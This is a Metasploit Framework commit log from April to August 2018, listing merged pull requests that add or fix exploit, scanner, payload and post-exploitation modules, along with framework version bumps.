Tim W 22b1bb03e7 Land #10440, fix apk injection on windows 2018-08-12 10:16:45 -07:00
Wei Chen 8b75c7d9ab Land #10436, Add WebLogic exploit (CVE-2018-2628) 2018-08-09 12:54:19 -07:00
Metasploit b09fa1caf8 Bump version of framework to 4.17.6 2018-08-09 10:02:53 -07:00
William Vu 1949cade78 Land #10430, history clearing and bug fixes 2018-08-07 15:18:03 -07:00
William Vu 807baacc2c Land #10424, history deduplication on save 2018-08-07 09:28:00 -07:00
William Vu 6b6191a534 Land #10423, history deduplication on add
Also removes history -u deduplication on print.
2018-08-05 12:31:35 -07:00
Rob Fuller a67938aab6 Land #10421, Let use have help too! 2018-08-04 13:54:56 -07:00
Brent Cook b42cf88276 Land #10386, Add IEC104 client module 2018-08-04 05:44:48 -07:00
Brent Cook 714fdb12fd Land #10417, Update check method of Hadoop exploit 2018-08-04 05:30:08 -07:00
Brent Cook b95df100bb Land #10419, Party like it's 2016 2018-08-04 05:27:09 -07:00
Brent Cook 3fd0119d27 Land #9692, Add DoS module for Siemens Siprotec 4 2018-08-04 05:23:03 -07:00
Brendan Coles 9ac0d0cf6e Land #10358, Add Dicoogle PACS Directory Traversal scanner module 2018-08-03 22:30:03 -07:00
Wei Chen 937174d321 Land #10412, Add Cisco directory traversal auxiliary module 2018-08-02 14:47:24 -07:00
Metasploit acf88f50b6 Bump version of framework to 4.17.5 2018-08-02 10:05:07 -07:00
Tim W 65fcdcfd2f Land #9884, add linux ufo priv esc module 2018-08-02 02:56:27 -07:00
Adam Cammack 43f1f8eeb2 Land #10405, Cleanup dropped files for CMSMS 2018-08-01 12:46:44 -07:00
Adam Cammack f49f37f76d Land #10406, Fix notes service, port, protocol 2018-08-01 12:42:35 -07:00
bwatters-r7 4885117e46 Land #10413, Bump rex-powershell to 1.7.9
Merge branch 'land-10413' into upstream-master
2018-08-01 12:07:16 -07:00
Brent Cook 39e13258c7 Land #10330, Add SMBv2 support to bind_named_pipe payloads 2018-08-01 11:01:36 -07:00
Brent Cook 133291e85b Land #10409, Add Meterpreter target for axis_srv_parhand_rce 2018-08-01 10:49:29 -07:00
William Vu 0bad10de4e Land #10403, joomla_pages fixes 2018-07-31 09:03:18 -07:00
Wei Chen 580f4cf509 Land #10255, Adding Micro Focus Secure Messaging Gateway RCE 2018-07-30 19:08:43 -07:00
William Vu 0bc84bb6c6 Land #10305, SonicWall XML-RPC RCE 2018-07-30 12:15:59 -07:00
William Vu 2cb4b97164 Land #10384, upload_exec fixes 2018-07-30 11:57:09 -07:00
William Vu e6d9f39204 Land #10398, unused option cleanup in enum_juniper 2018-07-30 11:55:22 -07:00
Jacob Robles 4b59552f8a Land #10397, Added line in psexec_psh to support SMB2 2018-07-30 11:09:36 -07:00
Jacob Robles 7e180a390c Land #10060, vTiger CRM v6.3.0 Upload RCE 2018-07-30 10:34:17 -07:00
Shelby Pace ea2a9081a6 Land #10247, add WordPress Arbitrary File Deletion 2018-07-30 07:09:04 -07:00
Wei Chen b42545a153 Land #10387, Update mov_ss and add mov_ss_dll 2018-07-27 12:55:43 -07:00
Wei Chen 3a67d89711 Land #10383, Add WP Responsive Thumbnail Slider Plugin Exploit Module 2018-07-26 21:56:35 -07:00
Brent Cook e74ef65aa5 Land #9964, android post module to extract subscriber info 2018-07-26 15:00:23 -07:00
Metasploit 33dc83804d Bump version of framework to 4.17.4 2018-07-26 10:07:53 -07:00
Wei Chen 4ec22c0ceb Land #10376, Handle connection errors and fail_with in check 2018-07-26 09:28:58 -07:00
Jacob Robles 9f488cb150 Land #10365, script allows you to find modules without a specific reference 2018-07-26 07:58:05 -07:00
Jacob Robles f7f322b26e Land #10366, Add a script that can find CVEs based on other known references 2018-07-26 07:27:59 -07:00
Brent Cook 5171e7edd2 Land #10319, enable VHOST for ms15_034_http_sys_memory_dump 2018-07-25 16:53:51 -07:00
Brent Cook 8e5639a081 Land #10374, Net::SSH::CommandStream fixes 2018-07-25 16:23:47 -07:00
William Vu c3469b0c80 Land #10303, HttpClient Rex::ConnectionError fix 2018-07-25 16:04:21 -07:00
William Vu 10ffd286d9 Land #10375, smb_login defaults that suck less 2018-07-25 13:33:47 -07:00
William Vu 3f53efe785 Land #10375, DETECT_ANY_AUTH should be false 2018-07-25 13:33:47 -07:00
Wei Chen 5fce9d8222 Land #10300, Add root exploit for Axis network cameras 2018-07-25 12:47:50 -07:00
William Vu 428623f890 Land #10370, minor CouchDB fix 2018-07-24 23:13:33 -07:00
William Vu 68272c410e Land #10357, CouchDB improvements and docs 2018-07-24 22:59:52 -07:00
Wei Chen 3fbd4f8f2f Land #10368, PhpMyAdmin Login Scanner Module 2018-07-24 21:27:32 -07:00
Jeffrey Martin 35edb48c48 Land #10367, Pass a framework instance to external module shims 2018-07-24 15:34:17 -05:00
Brent Cook e9b04b9750 Land #10362, Fix reporting in backup_file, add more docs 2018-07-23 16:27:45 -07:00
William Vu 7713710591 Land #10345, OptionParser for console grep 2018-07-23 15:20:09 -07:00
Adam Cammack 6a5a19faca Land #10364, Handle nil for shell_reverse_tcp_ipv6
This makes things like `msfvenom --list-options` or `info` when options
are not set work.
2018-07-23 12:14:48 -07:00
asoto-r7 28bb518dbd Land #10349, deconflict the method names in mix-ins 2018-07-23 11:40:49 -07:00
Wei Chen e075836ad5 Land #10346, update check method and doc for CMS Made Simple 2018-07-20 15:49:07 -07:00
Wei Chen fdc24fe453 Land #10327, Add CMS Made Simple Upload/Rename Authenticated RCE 2018-07-19 10:20:10 -07:00
Metasploit fc4a5b9913 Bump version of framework to 4.17.3 2018-07-19 10:03:34 -07:00
asoto-r7 b2aa922a29 Land #10307, Add missing CVE check to msftidy 2018-07-18 16:12:02 -07:00
Brent Cook 64201ad782 Land #10282, Add support for running external modules outside of msfconsole 2018-07-18 15:40:21 -07:00
Adam Cammack 6919d1a981 Land #10328, Log errors in Python ETERNALBLUE 2018-07-18 12:53:38 -07:00
Adam Cammack 9a72d0cbe7 Land #10334, Add grep -C 2018-07-18 12:48:35 -07:00
Tim W 691d8f2c41 Land #9753, Linux BPF sign extension local privesc 2018-07-18 11:05:32 -07:00
William Vu 0735113db2 Land #10332, fixes for SOUNDTRACK and LOGO refs 2018-07-18 11:05:32 -07:00
William Vu c362d668ab Land #10283, SOUNDTRACK and LOGO refs
:'(
2018-07-18 11:05:32 -07:00
Brent Cook 184670f62c Land #10329, Add command dispatcher for developer commands 2018-07-18 12:36:48 -05:00
William Vu fe13b00d84 Land #10309, PID check for self-migrate 2018-07-17 12:39:42 -07:00
William Vu ba3fa4bf91 Land #10317, nil fix for enum_dns 2018-07-17 11:04:55 -07:00
William Vu eb6142c2f8 Land #10315, pSnuffle POST and basic auth 2018-07-17 11:01:34 -07:00
Jacob Robles 4c87d38a60 Land #10273, [clean up] iis_webdav_scstoragepathfromurl 2018-07-17 07:36:22 -07:00
William Vu 88518ec4ae Land #10064, Claymore Dual Miner API RCE 2018-07-16 16:04:38 -07:00
Jacob Robles d138ddba8d Land #10295, Add QNAP Q'Center change_passwd Command Execution exploit 2018-07-14 08:20:32 -07:00
Brent Cook 861097d246 Land #10267, defer bind payload connections until exploit has run 2018-07-13 15:38:39 -07:00
Brent Cook 36f776d4a6 Land #10293, fixup php/base64 and add docs for cmd/unix/reverse_bash 2018-07-13 15:17:52 -07:00
Brent Cook 0b38f6486d Land #10304, add debug log viewer 2018-07-13 14:41:59 -07:00
Wei Chen 06e8cc49f5 Land #10297, Add priv escalation mod for CVE-2018-8897 2018-07-13 08:57:19 -07:00
William Vu 942befab73 Land #10302, module doc fixes 2018-07-12 21:53:05 -07:00
William Vu 3ffcc658e6 Land #10296, a few aux module docs 2018-07-12 20:22:03 -07:00
William Vu f6a7f19e2b Land #10027, Hadoop unauthed command execution 2018-07-12 20:00:57 -07:00
William Vu dbd03f9914 Land #10278, gitlist_arg_injection fixes 2018-07-12 17:05:33 -07:00
Wei Chen 465dceb182 Land #10299, Add 88 CVEs to various auxiliary and exploit modules 2018-07-12 16:28:05 -07:00
William Vu 9db75849a9 Land #10298, bug fix for #10219 2018-07-12 15:51:22 -07:00
Metasploit 58a88194eb Bump version of framework to 4.17.2 2018-07-12 10:03:23 -07:00
Brendan Coles 4f67361b46 Land #10238, Add ManageEngine Exchange Reporter Plus RCE exploit 2018-07-12 09:37:50 -07:00
William Vu 8540f2cd1c Land #9780, once more with feeling
Missed the merge, lol.
2018-07-12 11:26:39 -05:00
William Vu f18fd4aca1 Land #9780, CouchDB auth bypass and RCE 2018-07-12 11:24:05 -05:00
William Vu 81ef17aa62 Land #10286, Docker server version scanner 2018-07-12 11:24:04 -05:00
Adam Cammack b44cccc368 Land #10287, Add advanced option to skip WP checks 2018-07-12 11:24:04 -05:00
Shelby Pace 5827fb5174 Land #10284, Inform the user about lack of CVE 2018-07-12 11:24:04 -05:00
Shelby Pace 40ce762481 Land #10268, Ensure module_reference loads rb modules 2018-07-12 11:24:03 -05:00
Shelby Pace 8586e6fc8f Land #10260, Add phpMyAdmin v4.8.1/4.8.0 LFI RCE 2018-07-12 11:24:03 -05:00
Erin Bleiweiss d11eaf3d74 Land #10280, Use default CheckCode in ETERNALBLUE 2018-07-12 11:24:03 -05:00
Shelby Pace 45f354e55d Land #10231, Monstra Fileupload Exec 2018-07-12 11:24:02 -05:00
Brent Cook 3a92908e9b Land #10108, add IBM QRadar SIEM exploit 2018-07-12 11:24:02 -05:00
Jacob Robles d480ee8e20 Land #10275, Update missing CVE references for exploit modules 2018-07-12 11:24:01 -05:00
Jacob Robles 4284ffe8a4 Land #10276, Update missing CVE references for auxiliary modules 2018-07-12 11:23:09 -05:00
Jacob Robles 9dc3e35f23 Land #10107, Add the scanner/smb/impacket/secretsdump module 2018-07-06 13:02:46 -07:00
Shelby Pace a4f0dc5ea2 Land #10133, Add HID discoveryd RCE exploit 2018-07-06 12:35:38 -07:00
Wei Chen e915bb0f66 Land #10262, Add GitList argument injection exploit module 2018-07-06 12:30:10 -07:00
asoto-r7 e4aa20ac47 Land #9356. Remove ring buffers from command dispatcher. 2018-07-06 11:14:14 -07:00
Brent Cook 5d95172a81 Land #10171, Implement desktop shell and screensaver post modules 2018-07-05 15:36:46 -07:00
Brent Cook 2052584a31 Land #10241, don't call print_error from rex context, use elog instead 2018-07-05 15:30:08 -07:00
Brent Cook 1abbd61cee Land #10246, add documentation for APK injection 2018-07-05 15:28:41 -07:00
Brent Cook fbd68df409 Land #10263, fix double-nested array 2018-07-05 15:22:50 -07:00
Brent Cook b5981caa0b Land #10219, Add HP VAN SDN Controller exploit 2018-07-05 12:23:50 -07:00
Metasploit 69830c0ff5 Bump version of framework to 4.17.1 2018-07-05 10:04:08 -07:00
Brent Cook b894f9b6e7 Land #10251, be more explicit what a bind handler is doing 2018-07-05 08:44:28 -07:00
Metasploit 59e0d7b8d2 Bump version of framework to 4.17.0 2018-07-03 20:31:47 -07:00
Brent Cook 4fedee604d Land #10250, Increase read depth for SMB pipes, fix Windows support 2018-07-03 15:06:34 -07:00
Jacob Robles 7f3dfccbfe Land #10242, avoid using SMBv2 on Windows XP Native Upload targets 2018-07-02 15:37:11 -07:00
Brent Cook c5dce5edd7 Land #10217, keep bind_named_pipe with SMBv1 2018-07-02 12:56:00 -07:00
Wei Chen 144923db3a Land #10237, Add Boxoft WAV to MP3 Converter exploit module 2018-07-02 12:03:05 -07:00
Wei Chen d4054c24bd Land #9896, Java JMX Package Name Randomization
Land #9896
2018-07-02 11:43:42 -07:00
Brent Cook 709630e35c Land #10185, add SMBv1/2 support in psexec 2018-06-29 15:51:50 -07:00
Jacob Robles fa95c0c2a1 Land #9958, Nagios xi 2 electric 2018-06-29 10:18:13 -07:00
Brendan Coles 9bed9f0797 Land #10213, Add FTPShell client 6.70 Stack Buffer Overflow exploit 2018-06-29 07:39:54 -07:00
William Vu fd7ea515aa Land #10218, MS17-010 Windows Embedded Standard 7 2018-06-28 14:14:42 -07:00
Brent Cook 8260351762 Land #10222, Add DanielRTeixeira to mailmap 2018-06-28 13:06:10 -07:00
Metasploit 9486aadf64 Bump version of framework to 4.16.65 2018-06-28 10:04:27 -07:00
Jeffrey Martin 75d305eef0 Land #10221, Rescue RubySMB Error 2018-06-28 09:05:05 -07:00
Brent Cook d310659a77 Land #10216, add linux mic capture support for mettle 2018-06-28 10:58:50 -05:00
Jeffrey Martin 9aeebf35fe remove lock on ruby_smb 2018-06-28 10:44:20 -05:00
Brent Cook 33a909939d Land #10215, add support for payload estimation for IPv6-specific modules 2018-06-27 14:49:00 -07:00
William Vu 87b50e57cc Land #9933, auxiliary/scanner/db2/discovery docs 2018-06-27 14:03:34 -07:00
William Vu 13f981f03f Land #9998, customizable golden ticket duration 2018-06-27 13:53:30 -07:00
Adam Cammack 165fb9dc79 Land #10109, Teradata login scanner and SQL runner 2018-06-27 13:39:02 -07:00
William Vu d4dfb98fb9 Land #10207, msftidy fixes 2018-06-26 12:40:50 -07:00
Shelby Pace f14597bcb2 Land #10199, Kace Systems Management Command Injection 2018-06-26 10:11:07 -07:00
bwatters-r7 bf3e9d8771 Land #10206, Bump metasploit payloads for payload PR 287
Merge branch 'bump-payloads-287' into upstream-master
2018-06-26 12:00:15 -05:00
Wei Chen 0a9dca2b5a Land 10200, Add SickRage Password Leak Auxiliary Module 2018-06-25 15:27:22 -07:00
Brent Cook 2b655e4674 Land #10194, update rex-powershell with rapid7/rex-powershell#12, updating GetMethod for GetProcAddress for Windows 10 1803 2018-06-22 15:44:06 -05:00
Brent Cook 21fc8108ac Land #10155, Improve #sec_to_s in Rex::ExtTime 2018-06-21 14:47:02 -07:00
Brent Cook 679378d025 Land #10156, WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 2018-06-21 14:33:05 -07:00
Metasploit 7b7f244164 Bump version of framework to 4.16.64 2018-06-21 13:46:51 -07:00
William Vu cddb0f2b4d Land #10195, ms17_010_eternalblue_win8 bug fixes 2018-06-21 13:38:14 -07:00
Wei Chen cc293b54c4 Land #10193, Updated Documentation for httpdasm module 2018-06-21 11:06:35 -07:00
Metasploit 07f2e664e7 Bump version of framework to 4.16.63 2018-06-21 10:06:28 -07:00
Brent Cook e6ca28100c Land #10151, add robustness when stdapi is unavailable 2018-06-20 21:56:45 -07:00
Brent Cook 5fb3ffed55 Land #10189, ETERNALBLUE updates 2018-06-20 21:55:20 -07:00
sinn3r d723ffc3ee Land #10188, Add Shelby to .mailmap
Add Shelby to .mailmap
2018-06-20 16:40:48 -07:00
Brent Cook 0bcbcab3d8 Land #10184, Add sleepya's ETERNALBLUE exploit for Win8+ 2018-06-19 15:44:55 -07:00
Wei Chen 17c0bc1fa7 Land #10183, Add auxiliary mod to exploit httpdasm dir traversal vuln 2018-06-19 12:58:49 -07:00
Shelby Pace 5998896b48 Land #10150, Fix typos and spacing 2018-06-18 09:17:27 -07:00
Jacob Robles 95cb9f3654 Land #9825, Add 'phpMyAdmin Authenticated Remote Code Execution' 2018-06-18 06:55:53 -07:00
Wei Chen ce48ff4382 Land #10165, Fix missing RequestError in a few post modules 2018-06-15 13:40:51 -07:00
Wei Chen 95ee536705 Land #10172, Rm duplicate word in agitum_outpost_acs description 2018-06-15 13:15:37 -07:00
William Vu 94abd923f3 Land #10021, post/multi/recon/sudo_commands module 2018-06-14 14:35:32 -07:00
Aaron Soto 8cd65324c6 Land #10124, Add tab completion of values in set command 2018-06-14 14:18:34 -07:00
Aaron Soto 3a6401a420 Land #10141, background meta command in cmd shells 2018-06-14 13:35:24 -07:00
bwatters-r7 fff6d2ebb7 Lad #10017, D-Link DSL-2750B Unauthenticated OS Command Injection
Merge branch 'land-10017' into upstream-master
2018-06-14 15:09:38 -05:00
Metasploit 5323b40f60 Bump version of framework to 4.16.62 2018-06-14 10:07:09 -07:00
Tim W 972e89b2d7 Land #10162, tab completion for audio output 2018-06-13 23:58:24 -07:00
Adam Cammack e78715b073 Land #10167, Add Linux x86 IPv6 reverse shell 2018-06-13 13:35:24 -07:00
Adam Cammack 8d86ff0065 Land #10138, Update psnuffle RHOSTS and style 2018-06-13 12:47:32 -07:00
bwatters-r7 7e2c1fae2c Land #10148, Add New Module - Badpdf
Merge branch 'land-10148' into upstream-master
2018-06-12 15:21:25 -07:00
bwatters-r7 0a19221af2 Land #10101, Add glibc 'realpath()' Privilege Escalation exploit 2018-06-12 14:43:57 -07:00
William Vu 7f372d178d Land #10059, CVE-2018-1111 exploit 2018-06-12 13:04:36 -07:00
Tim W 08a6fd3b3b Land #10066, implement AudioOutput api from channel 2018-06-11 14:41:44 -05:00
Brendan Coles 60a9e08cdc Land #10157, Add IconFile path to .URL files generated with MultiDrop 2018-06-10 20:07:24 -07:00
William Vu f5e83d7542 Land #10153, encryption options fix for msfvenom 2018-06-08 16:10:39 -05:00
Jeffrey Martin 43ae360e15 remove options not in 4.x 2018-06-08 15:55:01 -05:00
Tim W e6a9421e35 Land #10118, cleanup OSX local exploit modules 2018-06-08 00:00:50 -07:00
William Vu 9423cdb40b Land #10145, Lync subdomain wordlist 2018-06-07 11:03:38 -07:00
Metasploit 27ab8fdd01 Bump version of framework to 4.16.61 2018-06-07 10:04:41 -07:00
Aaron Soto aa5c114364 Land #10067, Added auxiliary/fileformat/odt_badodt 2018-06-06 09:29:34 -07:00
Aaron Soto f6e0f5bd81 Land #10115, Added module auxiliary/fileformat/multidrop 2018-06-05 14:32:25 -07:00
Jacob Robles 1df5b7655f Land #10106, Add the scanner/smb/impacket/wmiexec module 2018-06-05 06:39:34 -07:00
Chris Higgins 5f469efacf Land #10092, Cleanup linux/local/recvmmsg_priv_esc 2018-06-04 15:37:57 -07:00
Brent Cook 31ce48502c Land #9528, WebKit apple safari trident exploit (CVE-2016-4657) 2018-06-04 15:37:57 -07:00
Brent Cook 650c5c7a93 Land #10121, finish deprecating modules 2018-06-04 15:37:56 -07:00
William Vu 40489fd1f1 Land #10029, msfvenom quality of life improvements 2018-06-04 17:26:26 -05:00
William Vu 30f2fe495b Land #10095, tilde expansion for resource command 2018-06-01 10:29:02 -07:00
Aaron Soto 2a9399251c Land #10102, SOCKS5 updates for BIND, parsing specs, refactoring 2018-06-01 07:03:23 -07:00
Adam Cammack d2523e03df Land #9976, Store non-nil linux enum_network loot 2018-06-01 07:03:22 -07:00
bwatters-r7 e7ab118aaf Land #9777, Slui File Handler Hijack LPE 2018-06-01 07:03:22 -07:00
Brent Cook 87c6befb45 Land #10094, Improve network interface support for LHOST 2018-06-01 07:03:22 -07:00
Brent Cook 122af6b143 Land #10083, Add Msf::Post::OSX::Priv mixin 2018-06-01 07:03:22 -07:00
Aaron Soto c8ff6cb5a4 Land #9701, Flexense HTTP Server DoS exploit 2018-06-01 07:03:22 -07:00
Spencer McIntyre 9e9e129716 Land #10105, update the search command help menu 2018-06-01 07:03:22 -07:00
Brendan Coles b4e305862a Land #10099, fix nil error in HttpTrace when HTTP response is nil
Fix #10098
2018-06-01 07:03:21 -07:00
Metasploit 3f200fa722 Bump version of framework to 4.16.60 2018-05-31 10:05:37 -07:00
Brent Cook caa8b673ed Land #9990, add SOCKS5 proxy support 2018-05-25 15:56:23 -07:00
Brent Cook 4142b49307 Land #10034, Add inactive list option to sessions command 2018-05-25 03:10:01 -05:00
Brent Cook 0dc0d3c0ba fix incorrect disclosure date 2018-05-25 03:06:42 -05:00
Metasploit 9bfd7a6bdb Bump version of framework to 4.16.59 2018-05-24 10:04:03 -07:00
Brent Cook d78f2e7bbd Land #10087, remove unused option from applocker bypass 2018-05-23 13:38:39 -07:00
Brent Cook 196b302897 Land #10084, Mark all versions of telpho10 as vulnerable 2018-05-23 13:38:39 -07:00
William Vu 0e5e151403 Land #10081, unnecessary class definition fix 2018-05-23 13:38:39 -07:00
Brendan Coles e6a7ec3276 Land #10070, Fix cleanup in exploits/osx/local/rootpipe_entitlements 2018-05-23 13:38:39 -07:00
Brendan Coles 8243207223 Land #10048, Make shell and meterpreter sessions consistent with cmd_exec 2018-05-23 13:38:38 -07:00
bwatters-r7 a177e762d1 Land #10071, return PLUGIN_DESCRIPTION instead of actual string
Merge branch 'land-10071' into upstream-master
2018-05-23 13:38:38 -07:00
Brendan Coles 89e9f60121 Land #10073, Add /etc/group to data/wordlists/sensitive_files.txt 2018-05-21 15:22:52 -07:00
bwatters-r7 984384b59d Land #10044, Fix is_system? in Msf::Post::Windows::Priv for non-English
Merge branch 'land-10044' into upstream-master
2018-05-21 15:22:52 -07:00
Tim W 016ee4d460 Land #9987, AF_PACKET chocobo_root exploit 2018-05-21 15:22:51 -07:00
Brent Cook 1eabf5dd3d Land #10072, update kiwi plugin, add dcsync, dcshadow, and powershell streaming support 2018-05-21 17:05:10 -05:00
bwatters-r7 81368bef7a Land #9966, Add Reliable Datagram Sockets (RDS) Privilege Escalation exploit
Merge branch 'land-9966' into upstream-master
2018-05-21 17:01:36 -05:00
Brent Cook 7b3169ad0a Land #9999, Optionally test empty group in cisco_ssl_vpn 2018-05-21 17:01:35 -05:00
Brent Cook 9b152cec72 Land #10009, Add initial check support to external modules 2018-05-21 17:01:35 -05:00
William Vu 9e326d7c88 Land #10037, warning for Mettle stage encoding 2018-05-21 17:01:29 -05:00
Metasploit 9f8dd68d0d Bump version of framework to 4.16.58 2018-05-17 10:03:17 -07:00
Aaron Soto 5aa0078f4b Land #10002, Add password reporting API to external modules 2018-05-17 08:16:35 -07:00
Tim W d5019be697 Land #10049, fix docs for android/gather/wireless_ap 2018-05-17 08:16:35 -07:00
Tim W a51c1209ab Land #9956, add module to extract wireless credentials on Android 2018-05-17 08:16:35 -07:00
Brent Cook 597a64b61b Land #10047, remove invalid timeout argument on cmd_exec 2018-05-17 08:16:35 -07:00
Tim W bacab0507b Land #9947, AF_PACKET packet_set_ring exploit 2018-05-17 08:16:34 -07:00
William Vu 06d3ab12a1 Land #10042, reload_lib improvements 2018-05-17 08:16:34 -07:00
William Vu 4a93947b1a Land #10041, target selection by name updates 2018-05-17 08:16:34 -07:00
Jacob Robles 6e71f5c5fd Land #9816, Add the scanner/smb/impacket/dcomexec module 2018-05-17 08:16:34 -07:00
William Vu 9a273a2663 Land #9975, local_exploit_suggester fixes 2018-05-17 08:16:33 -07:00
William Vu 012de0f6b1 Land #10038, struts_code_exec_parameters EXE fix 2018-05-17 08:16:33 -07:00
William Vu cbac801b88 Land #8727, CVE-2017-9791 exploit 2018-05-17 08:16:33 -07:00
William Vu bbb5ff8ad4 Land #7815, CVE-2016-9299 exploit 2018-05-17 08:16:33 -07:00
William Vu f9d27aaa30 Land #10036, reverse_bash_telnet_ssl fixes 2018-05-17 08:16:32 -07:00
William Vu 06711c6da9 Land #10035, awk payload improvements 2018-05-17 08:16:32 -07:00
William Vu 2f50df7fe7 Land #10031, zsh payload improvements 2018-05-17 08:16:32 -07:00
William Vu 14ff692d12 Land #10030, reverse_ksh payload 2018-05-17 08:16:32 -07:00
Brent Cook 78c07b86c4 Land #9962, tab-complete target options 2018-05-17 08:16:31 -07:00
Matthew Kienow 2d69675650 Fix exception in verbose mode sessions listing
(cherry picked from commit 5322a682f6)
2018-05-16 12:34:12 -04:00
Matthew Kienow 07d754f637 Add sessions cmd option to list inactive sessions
(cherry picked from commit cd38f56924)
2018-05-16 12:34:00 -04:00
Matthew Kienow 2d21fbe682 Add functionality to retrieve all sessions 2018-05-16 12:30:54 -04:00
Jacob Robles 72d8f5ba22 Land #10023, fix ms17-010 psexec similar to 4a56ecf3ae 2018-05-15 11:58:15 -07:00
Aaron Soto 3bc5b0bdcb Land #9991, Remove need for temp file with xdebug_unauth_exec 2018-05-15 11:58:15 -07:00
Brent Cook afa3b3a83f Land #10020, remove unneded require in msfupdate 2018-05-15 11:58:15 -07:00
Tim W 1de1b04c4f Land #9919, add libuser roothelper privilege escalation exploit 2018-05-15 11:58:14 -07:00
Metasploit a75b37579d Bump version of framework to 4.16.57 2018-05-10 10:04:15 -07:00
Tim W a260716305 Land #9868, fix post/osx/capture/keylog_recorder 2018-05-10 09:27:29 -07:00
Jeffrey Martin bbbd81bf1f Land #9994, tidy tests, add ms17_010_psexec 2018-05-09 17:48:54 -07:00
Jacob Robles b2b97db28b Land #9878, Add MSF module for EDB 6768, Mantis <= v1.1.3 Post-auth RCE 2018-05-09 17:48:53 -07:00
William Vu 80b16ea645 Land #9996, PRs from master are bad
PR's bad. Bad PR.
2018-05-09 17:48:53 -07:00
Brent Cook 76a47b81bc Land #9994, restore some SMB mixin aliases, add local definition 2018-05-09 17:48:53 -07:00
William Vu 0aaae09e5c Land #9980, PAN-OS readSessionVarsFromFile exploit 2018-05-09 17:48:53 -07:00
Brent Cook 78f546ce81 Land #9986, initial ruby_smb simple client integration 2018-05-09 17:48:52 -07:00
Brent Cook 0901f35f9c Land #9948, optimize, then delete unused code (the ultimate optimization) 2018-05-07 09:35:08 -07:00
Jacob Robles dcbc871883 Land #9988, playsms_uploadcsv_exec 2018-05-07 09:35:08 -07:00
Jacob Robles 75196b4fc6 Land #9944, playsms_filename_exec.rb 2018-05-07 09:35:08 -07:00
Tim W 9785ace675 Land #9977, fix crash during x64 linux reverse_tcp stager retry 2018-05-07 09:35:07 -07:00
William Vu a74b2b5716 Land #9970, final update to Drupalgeddon 2 2018-05-04 09:40:31 -05:00
William Vu 935fa6414e Land #9968, second round of Drupalgeddon 2 updates 2018-05-04 09:38:34 -05:00
bwatters-r7 38465e69a8 Land #8795, Added CVE-2016-0040 Windows Privilege Escalation
Merge branch 'land-8795' into upstream-master
2018-05-04 09:38:28 -05:00
Metasploit 6c669ecdfc Bump version of framework to 4.16.56 2018-05-03 10:03:41 -07:00
Tim W e0317671fe Land #9965, add author name to wlan_probe_request module 2018-05-03 09:21:02 -07:00
Jacob Robles 8739befa70 Land #9821, osCommerce 2.3.4.1 - Remote Code Execution 2018-05-03 09:21:02 -07:00
Jacob Robles d6cea3523a Land #9960, fix continuation warnings in payloads 2018-05-03 09:21:02 -07:00
Jeffrey Martin ad33d72e6e Land #9961, psexec native upload argument 2018-05-01 14:51:21 -07:00
Jeffrey Martin 635f483b42 Land #9881, cleanup psexec code 2018-05-01 14:51:20 -07:00
Brent Cook f4d9788454 Land #9954, Add search filtering to the CSV output option 2018-05-01 14:51:20 -07:00
Brent Cook 37767e9d4c Land #9951, Update linux/gather/enum_protections module 2018-05-01 14:51:20 -07:00
Brent Cook 9f2a442d9b Land #9942, IPv6 channel fixes 2018-05-01 16:46:37 -05:00
Brent Cook a14892774f Land #9942, IPv6 channel fixes for Python and Linux/macOS Meterpreters 2018-05-01 16:45:16 -05:00
Metasploit 7382928f10 Bump version of framework to 4.16.55 2018-04-30 08:04:29 -07:00
Aaron Soto c38bca1799 Land #9908, msfd_rce_remote and msfd_rce_browser 2018-04-30 09:49:50 -05:00
Aaron Soto 3b8280c33f Land #9918, XDebug Unauthenticated OS command execution 2018-04-30 09:42:26 -05:00
Sonny Gonzalez 173171e2c8 Land #9943 move super call in merge! so that it returns the proper value 2018-04-30 09:38:49 -05:00
Metasploit 0ba4e349a1 Bump version of framework to 4.16.54 2018-04-27 15:53:20 -07:00
Brent Cook 009e643ae3 autofilter = false means skip, which is reverse of intuition 2018-04-26 18:08:05 -05:00
Jeffrey Martin 188b02d1f5 Land #9937, enable autofilter on tp-link camera exploit 2018-04-26 16:06:10 -07:00
Brent Cook 3b7d2c8177 Land #9853, Update Linux sock_sendpage local exploit module 2018-04-26 16:06:10 -07:00
Metasploit 92ada42fc5 Bump version of framework to 4.16.53 2018-04-26 10:03:15 -07:00
Brent Cook b3ac70f539 Land #9877, Add kernel feature post API methods 2018-04-26 08:30:00 -07:00
William Vu 1d7ecb6d9e Land #9885, datastore fixes for stager retry code 2018-04-26 08:29:59 -07:00
William Vu 492b6003b5 Land #9931, minor fixes for #9876 (Drupalgeddon 2) 2018-04-26 08:29:59 -07:00
Brent Cook d340ef2632 Land #9876, Drupalgeddon 2 2018-04-26 08:29:59 -07:00
Brent Cook c23cbde8a1 Land #9900, add base64 encoder for ruby 2018-04-26 08:29:59 -07:00
Brent Cook ab12eb8c50 Land #9924, Improve debug output in ETERNALBLUE's verify_arch 2018-04-26 08:29:58 -07:00
Brent Cook 2aa7904270 Land #9886, ignore unused tags on host import 2018-04-26 08:29:58 -07:00
Brent Cook 6ea0e734f9 Land #9851, add workaround require for non-powershell psexec 2018-04-26 08:29:58 -07:00
Brendan Coles efc9c1724f Land #9829, add utility functions to Msf::Post::Linux::System
Merge branch 'landing-9829' into upstream-master
2018-04-23 11:21:11 -07:00
Wei Chen 0949bedf67 Land #9628, Add GitStack v2.3.10 Unauth REST API Aux Module
Land #9628
2018-04-23 11:21:11 -07:00
Wei Chen e5db541726 Land #9858, fix error handling in cmd_route
Land #9858
2018-04-23 11:21:11 -07:00
William Vu 9ea69b1e35 Land #9899, NOP generator fix for exploit_simple 2018-04-23 11:21:10 -07:00
Brent Cook 505eff4403 Land #9898, Fix target NOP generator not passed to payload 2018-04-23 11:21:10 -07:00
bwatters-r7 a44bcff2d8 Land #9756, Add lastore-daemon D-Bus Privilege Escalation exploit
Merge branch 'land-9756' into upstream-master
2018-04-23 11:21:10 -07:00
Brent Cook abfcdc3fa7 Land #9892, Fix target encoder not being passed to payload 2018-04-23 11:21:10 -07:00
bwatters-r7 6cbd7ba895 Land #9862, Post-exploitation module for meterpreter (Windows) to send wireless probe requests
Merge branch 'land-9862' into upstream-master
2018-04-23 11:21:10 -07:00
bwatters-r7 d2a43d934d Land # 9247, Add ASUS infosvr Auth Bypass Command Execution exploit
Merge branch 'land-9247' into upstream-master
2018-04-23 11:21:10 -07:00
Metasploit 01b4b52407 Bump version of framework to 4.16.52 2018-04-19 10:03:17 -07:00
sinn3r 63e096836f Land #9887, remove rex-text version lock
remove rex-text version lock
2018-04-18 15:31:20 -07:00
